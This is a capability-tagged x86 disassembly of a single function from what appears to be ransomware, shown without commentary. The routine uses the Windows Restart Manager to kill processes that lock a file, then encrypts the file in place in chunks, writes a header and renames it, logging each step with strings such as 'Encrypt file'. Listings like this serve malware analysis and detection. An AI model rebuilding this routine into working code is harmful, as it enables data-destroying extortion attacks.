Function at 0x4155b0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c857
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c4
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], 0
mov edx, dword [edi + 0x10]
lea eax, [edi + 0x10]
mov esi, dword [0x44eac8]
mov dword [ebp - 0x70], eax
mov eax, 0x7ffffffe
sub eax, edx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x34], edi
cmp eax, esi
jb 0x416284
cmp dword [edi + 0x14], 8
lea eax, [edi + 0x14]
mov dword [ebp - 0x48], eax
jb 0x41560c
mov ecx, dword [edi]
cmp dword [0x44eacc], 8
mov eax, 0x44eab8
push esi
cmovae eax, dword [0x44eab8]
push eax
push edx
push ecx
push ecx
push dword [ebp - 0x70]
lea ecx, [ebp - 0xd4]
call fcn.00419fd0
mov esi, dword [ebp - 0x48]
lea eax, [ebp - 0xd4]
mov byte [ebp - 4], 1
mov ecx, edi
cmp dword [ebp - 0xc0], 8
cmovae eax, dword [ebp - 0xd4]
cmp dword [esi], 8
jb 0x415656
mov ecx, dword [edi]
push eax
push ecx
push str.____Encrypt_file:__s_____s_n
call fcn.00401db0
add esp, 0xc
mov eax, edi
cmp dword [esi], 8
jb 0x41566e
mov eax, dword [edi]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x60], eax
cmp eax, 0xffffffff
jne 0x415812
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [esi], 8
mov ecx, edi
jb 0x4156a2
mov ecx, dword [edi]
push eax
push ecx
push str.____CreateFile1:__s__0x_X_n
call fcn.00401db0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x4156cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
jne 0x4157ef
cmp dword [esi], 8
mov eax, edi
jb 0x4156d4
mov eax, dword [edi]
mov dword [ebp - 0x58], eax
xor esi, esi
lea eax, [ebp - 0x14c]
mov dword [ebp - 0x30], 0xffffffff
push eax
push esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x4c], 0
push eax
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x44], 0
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x4157b3
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x58]
push eax
push 1
push dword [ebp - 0x30]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x4157b3
lea eax, [ebp - 0x44]
push eax
push esi
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
je 0x415793
cmp eax, 0xea
jne 0x4157a6
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x54], eax
test esi, esi
je 0x415768
push esi
call fcn.0041f1f0
mov eax, dword [ebp - 0x54]
add esp, 4
xor ecx, ecx
mov edx, 0x29c
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041f238
mov esi, eax
add esp, 4
mov eax, dword [ebp - 0x4c]
mov ecx, eax
inc eax
mov dword [ebp - 0x4c], eax
cmp ecx, 3
jb 0x415731
jmp 0x4157a6
cmp dword [ebp - 0x44], 0
jne 0x4157a6
push 0
push 0
push dword [ebp - 0x30]
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
test esi, esi
je 0x4157b3
push esi
call fcn.0041f1f0
add esp, 4
mov eax, dword [ebp - 0x30]
cmp eax, 0xffffffff
je 0x4157c2
push eax
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov esi, dword [ebp - 0x48]
mov eax, edi
cmp dword [esi], 8
jb 0x4157ce
mov eax, dword [edi]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x60], eax
cmp eax, 0xffffffff
jne 0x415812
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [esi], 8
mov ecx, edi
jb 0x4157fe
mov ecx, dword [edi]
push eax
push ecx
push str.____CreateFile2:__s__0x_X_n
call fcn.00401db0
add esp, 0xc
jmp 0x416181
mov dword [ebp - 0x58], eax
xor al, al
mov byte [ebp - 0x21], al
mov byte [ebp - 0x15], al
mov byte [ebp - 0x59], al
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
push 0x4551c4
call fcn.0041edfe
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x9c]
push 0x4551c8
call fcn.00412830
push 0x4551d4
lea ecx, [ebp - 0x90]
call fcn.00412830
mov esi, dword [ebp - 0x8c]
mov eax, esi
mov ecx, dword [ebp - 0x90]
sub eax, ecx
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x9c]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x30], esi
cmp eax, 0x100
jne 0x4158c4
mov eax, dword [ebp - 0x98]
sub eax, esi
mov byte [ebp - 0x15], 1
cmp eax, 0x28
je 0x4158c8
mov byte [ebp - 0x15], 0
mov dword [ebp - 4], 3
jmp 0x415928
push 0x4551c4
call fcn.0041ee1a
add esp, 4
cmp byte [ebp - 0x15], 0
je 0x4161bd
cmp dword [0x44e9a0], 0
mov eax, dword [edi + 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x20], eax
je 0x4159bd
mov ecx, dword [ebp - 0x48]
mov eax, edi
cmp dword [ecx], 8
jb 0x415960
mov eax, dword [edi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov esi, dword [0x44ea1c]
mov ecx, eax
mov eax, dword [0x44ea20]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x58], eax
cmp esi, eax
je 0x4159a1
nop
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x41598a
mov eax, dword [esi]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4159bd
mov ecx, dword [ebp - 0x28]
add esi, 0x18
cmp esi, dword [ebp - 0x58]
jne 0x415980
cmp dword [edi + 0x1c], 0
mov eax, dword [0x44e9a0]
jl 0x4159bd
jg 0x4159b3
cmp dword [edi + 0x18], eax
jbe 0x4159bd
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x14]
xor esi, esi
sub ecx, dword [ebp - 0x54]
mov edx, dword [0x44e9d8]
mov eax, edx
sub eax, dword [0x44e9d4]
mov dword [ebp - 0x14], ecx
add ecx, 0x14
add eax, ecx
mov dword [ebp - 0xa4], esi
xor ecx, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0xa0], ecx
test eax, eax
je 0x415a49
cmp eax, 0x7fffffff
ja 0x416289
push eax
lea ecx, [ebp - 0xa8]
call fcn.00408a60
mov ecx, dword [ebp - 0xa8]
mov esi, dword [ebp - 0x28]
add esi, ecx
mov dword [ebp - 0x50], ecx
mov eax, esi
sub eax, ecx
push eax
push 0
push ecx
call fcn.00420e90
mov eax, dword [ebp - 0xa0]
add esp, 0xc
mov edx, dword [0x44e9d8]
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0x58], eax
mov byte [ebp - 4], 6
mov eax, dword [0x44e9d4]
sub edx, eax
push edx
push eax
push ecx
call fcn.00420910
mov eax, dword [0x44e9d8]
mov edx, dword [ebp - 0x14]
sub eax, dword [0x44e9d4]
add eax, dword [ebp - 0x50]
push edx
push dword [ebp - 0x54]
push eax
call fcn.00420910
mov eax, dword [0x44e9d8]
add esp, 0x18
sub eax, dword [0x44e9d4]
xorps xmm0, xmm0
mov edi, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
add eax, ecx
mov edx, dword [ebp - 0x38]
add ecx, edi
mov dword [eax + edi], edx
mov edx, dword [ebp - 0x20]
mov dword [eax + edi + 4], edx
mov edx, dword [0x44e9d8]
sub edx, dword [0x44e9d4]
mov eax, dword [0x4551a0]
mov dword [ecx + edx + 8], eax
mov edx, edi
mov ecx, dword [0x44e9d8]
sub esi, edx
sub ecx, dword [0x44e9d4]
add ecx, dword [ebp - 0x14]
mov eax, dword [0x4551a4]
mov dword [ecx + edi + 0xc], eax
mov ecx, dword [0x44e9d8]
sub ecx, dword [0x44e9d4]
add ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x34]
mov eax, dword [0x4551ac]
mov dword [ecx + edx + 0x10], eax
mov eax, dword [edi + 0x18]
mov dword [ebp - 0xec], eax
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x6c]
movlpd qword [ebp - 0xf4], xmm0
push eax
push esi
push edx
push dword [ebp - 0x60]
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x416097
cmp dword [ebp - 0x6c], esi
jne 0x416097
mov ecx, dword [ebp - 0x30]
lea eax, [ecx + 0x20]
push eax
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.004131c0
cmp dword [ebp - 0x20], 0
mov eax, dword [0x44e9a4]
mov dword [ebp - 0x150], 0x40
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x40], eax
jl 0x415b8a
jg 0x415b90
cmp dword [ebp - 0x38], eax
ja 0x415b90
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
push eax
call fcn.0041f238
add esp, 4
mov esi, eax
push dword [ebp - 0x40]
push 0
push esi
call fcn.00420e90
add esp, 0xc
mov dword [ebp - 0xdc], esi
mov byte [ebp - 4], 7
xor edx, edx
cmp dword [0x455194], 1
xorps xmm0, xmm0
mov eax, dword [0x4551a4]
movlpd qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x64], edx
jne 0x415ea7
xor ecx, ecx
mov dword [ebp - 0x78], edx
xor edi, edi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x74], edi
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x38]
cmp dword [ebp - 0x14], edx
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x1c], eax
jne 0x415d2f
cmp eax, dword [ebp - 0x20]
jne 0x415d2f
xorps xmm0, xmm0
xor edi, edi
movlpd qword [ebp - 0x2c], xmm0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov eax, edx
mov dword [ebp - 0x40], edi
sub eax, ecx
sar eax, 3
cmp edi, eax
jae 0x415caf
mov eax, dword [ebp - 0x40]
mov edi, dword [ecx + edi*8]
mov dword [ebp - 0x84], edi
mov byte [ebp - 0x80], 1
mov dword [ecx + eax*8], 0
mov byte [ebp - 4], 0xd
test edi, edi
je 0x41628e
cmp byte [edi + 0x6c], 0
jne 0x41628e
mov eax, dword [edi]
mov ecx, edi
push 1
mov eax, dword [eax + 8]
call eax
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
or eax, 0xffffffff
mov byte [ebp - 4], 8
lock xadd dword [edi + 4], eax
jne 0x415c96
mov ecx, dword [edi + 0x78]
test ecx, ecx
je 0x415c8e
mov eax, dword [ecx]
push edi
jmp 0x415c94
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
mov eax, dword [ebp - 0x28]
add dword [ebp - 0x14], eax
mov edi, dword [ebp - 0x40]
adc dword [ebp - 0x1c], 0
inc edi
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x78]
jmp 0x415c29
test ecx, ecx
je 0x415cef
push ecx
call fcn.00419d40
mov edi, dword [ebp - 0x4c]
add esp, 4
mov ecx, dword [ebp - 0x3c]
sub edi, ecx
and edi, 0xfffffff8
mov eax, ecx
cmp edi, 0x1000
jb 0x415ce5
mov ecx, dword [eax - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416298
push edi
push ecx
call fcn.0041f22a
add esp, 8
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x38]
jne 0x41602e
cmp eax, edx
jne 0x41602e
mov ecx, dword [ebp - 0x48]
mov eax, edi
cmp dword [ecx], 8
jb 0x415d18
mov eax, dword [edi]
push eax
push str.___Encrypted_file:__s_n
call fcn.00401db0
add esp, 8
mov byte [ebp - 0x21], 1
jmp 0x41605b
mov ecx, dword [ebp - 0x14]
xorps xmm0, xmm0
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x38]
sub eax, ecx
mov dword [ebp - 0x100], ecx
mov ecx, dword [ebp - 0x20]
sbb ecx, dword [ebp - 0x1c]
xor edx, edx
movlpd qword [ebp - 0x108], xmm0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x64], edx
cmp edx, ecx
jg 0x415d6f
jl 0x415d67
cmp dword [ebp - 0x40], eax
jae 0x415d6f
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
jmp 0x415d74
mov edx, ecx
mov dword [ebp - 0x64], ecx
movups xmm0, xmmword [ebp - 0x108]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x124], eax
lea eax, [ebp - 0x1d0]
push 0xb0
movups xmmword [ebp - 0x14c], xmm0
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x12c], esi
mov dword [ebp - 0x11c], eax
call fcn.0041f1f5
add esp, 4
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0xa
push ecx
mov ecx, eax
call fcn.0041b270
mov ecx, eax
mov byte [ebp - 0xb0], 0
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0xb4], ecx
mov byte [ebp - 0xac], 0
mov byte [ebp - 4], 0xb
test ecx, ecx
je 0x41628e
mov byte [ebp - 0xac], 1
mov dword [ebp - 0x84], ecx
mov byte [ebp - 0x80], 1
lock inc dword [ecx + 4]
or eax, 0xffffffff
lock xadd dword [ecx + 4], eax
jne 0x415e30
mov edx, dword [ecx + 0x78]
test edx, edx
je 0x415e27
mov eax, dword [edx]
push ecx
mov ecx, edx
jmp 0x415e2b
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, dword [ebp - 0x28]
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x78]
cmp eax, edi
je 0x415e4b
xor edx, edx
mov dword [eax], ecx
mov byte [eax + 4], 1
add eax, 8
mov dword [ebp - 0x78], eax
jmp 0x415e6d
lea ecx, [ebp - 0x84]
push ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.0041a610
mov edi, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x3c], ecx
mov byte [ebp - 4], 8
test edx, edx
je 0x415e93
or eax, 0xffffffff
lock xadd dword [edx + 4], eax
jne 0x415e93
mov ecx, dword [edx + 0x78]
test ecx, ecx
je 0x415e8b
mov eax, dword [ecx]
push edx
jmp 0x415e91
mov eax, dword [edx]
mov ecx, edx
push 1
call dword [eax]
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
adc eax, dword [ebp - 0x64]
jmp 0x415bf5
mov ecx, dword [ebp - 0x38]
test ecx, ecx
jne 0x415ec6
mov edx, dword [ebp - 0x20]
test edx, edx
jne 0x415ec6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], ecx
jmp 0x415cfb
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], eax
sub ecx, eax
mov dword [ebp - 0xb4], eax
mov eax, edx
mov dword [ebp - 0xac], 0
sbb eax, edi
mov dword [ebp - 0xb0], edi
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x28], eax
xorps xmm0, xmm0
movlpd qword [ebp - 0xbc], xmm0
cmp edx, eax
jg 0x415f19
mov eax, dword [ebp - 0x40]
jl 0x415f11
cmp eax, ecx
jae 0x415f19
mov ecx, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x28], edx
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0x68]
push eax
push ecx
push esi
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x415cef
mov edx, dword [ebp - 0x68]
xor eax, eax
cmp edx, dword [ebp - 0x4c]
jne 0x415cef
cmp eax, dword [ebp - 0x28]
jne 0x415cef
cmp dword [0x4551a0], 1
jne 0x415fca
xor ecx, ecx
mov dword [ebp - 0x44], ecx
test edx, edx
je 0x415fda
mov eax, dword [ebp - 0x3c]
mov edi, edx
sub edi, ecx
test eax, eax
je 0x415f9c
cmp edi, eax
cmova edi, eax
lea eax, [ecx + esi]
push edi
push eax
lea ecx, [ebp - 0x1d0]
call fcn.00413680
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x44]
sub eax, edi
add ecx, edi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], ecx
test eax, eax
jne 0x415fbe
mov edx, dword [0x4551ac]
jmp 0x415fbb
mov edx, dword [ebp - 0x64]
test edx, edx
je 0x415fbe
cmp edi, edx
cmova edi, edx
sub edx, edi
add ecx, edi
test edx, edx
mov dword [ebp - 0x44], ecx
cmove eax, dword [0x4551a4]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x64], edx
mov edx, dword [ebp - 0x68]
cmp ecx, edx
jb 0x415f63
mov edi, dword [ebp - 0x1c]
jmp 0x415fda
push edx
push esi
lea ecx, [ebp - 0x1d0]
call fcn.00413680
mov edx, dword [ebp - 0x68]
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0x6c]
push eax
push edx
push esi
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x415cef
mov eax, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x68]
jne 0x415cf2
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x38]
adc edi, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], edi
cmp eax, ecx
jne 0x415ed5
cmp edi, edx
jne 0x415ed5
jmp 0x415cf2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0x48]
mov ecx, edi
cmp dword [edx], 8
jb 0x416040
mov ecx, dword [edi]
push dword [ebp - 0x20]
push dword [ebp - 0x38]
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
push eax
push ecx
push str.____File_not_encrypted:__s__error:_0x_X___lld____lld_n
call fcn.00401db0
add esp, 0x1c
test esi, esi
je 0x416068
push esi
call fcn.0041f1f0
add esp, 4
mov esi, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
test ecx, ecx
je 0x4160c4
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4160ba
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41629d
jmp 0x4160ba
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp - 0x48]
mov ecx, edi
cmp dword [esi], 8
jb 0x4160a9
mov ecx, dword [edi]
push eax
push ecx
push str.____WriteFile:__s__0x_X_n
call fcn.00401db0
add esp, 0xc
jmp 0x41606b
push edx
push ecx
call fcn.0041f22a
add esp, 8
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x21], 0
je 0x416113
cmp dword [ebp - 0xc0], 8
lea eax, [ebp - 0xd4]
mov ecx, edi
cmovae eax, dword [ebp - 0xd4]
cmp dword [esi], 8
jb 0x4160f0
mov ecx, dword [edi]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x416113
cmp dword [esi], 8
mov eax, edi
jb 0x416105
mov eax, dword [edi]
push eax
push str.____Encrypted_file_not_moved:__s_n
call fcn.00401db0
add esp, 8
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x54]
test edx, edx
je 0x41614d
mov ecx, dword [ebp - 0x88]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x416143
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4162a2
push ecx
push edx
call fcn.0041f22a
add esp, 8
test esi, esi
je 0x416181
mov ecx, dword [ebp - 0x94]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x416177
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4162a2
push ecx
push esi
call fcn.0041f22a
add esp, 8
mov ecx, dword [ebp - 0xc0]
cmp ecx, 8
jb 0x41621a
mov edx, dword [ebp - 0xd4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4161e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4162a2
jmp 0x4161e5
mov ecx, dword [ebp - 0x48]
mov eax, edi
cmp dword [ecx], 8
jb 0x4161c9
mov eax, dword [edi]
push eax
push str.____Can_t_run:__s_n
call fcn.00401db0
add esp, 8
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x416116
push ecx
push edx
call fcn.0041f22a
add esp, 8
jmp 0x41621a
test edi, edi
je 0x416273
mov ecx, dword [edi + 0x14]
cmp ecx, 8
jb 0x416253
mov eax, dword [edi]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x416249
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416298
mov eax, edx
push ecx
push eax
call fcn.0041f22a
add esp, 8
mov eax, dword [ebp - 0x70]
push 0x20
push edi
mov dword [edi + 0x14], 7
mov dword [eax], 0
xor eax, eax
mov word [edi], ax
call fcn.0041f22a
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00401740
call fcn.00405400
mov ecx, 4
call fcn.00415040
call fcn.0042b82f
call fcn.0042b82f
call fcn.0042b82f
int3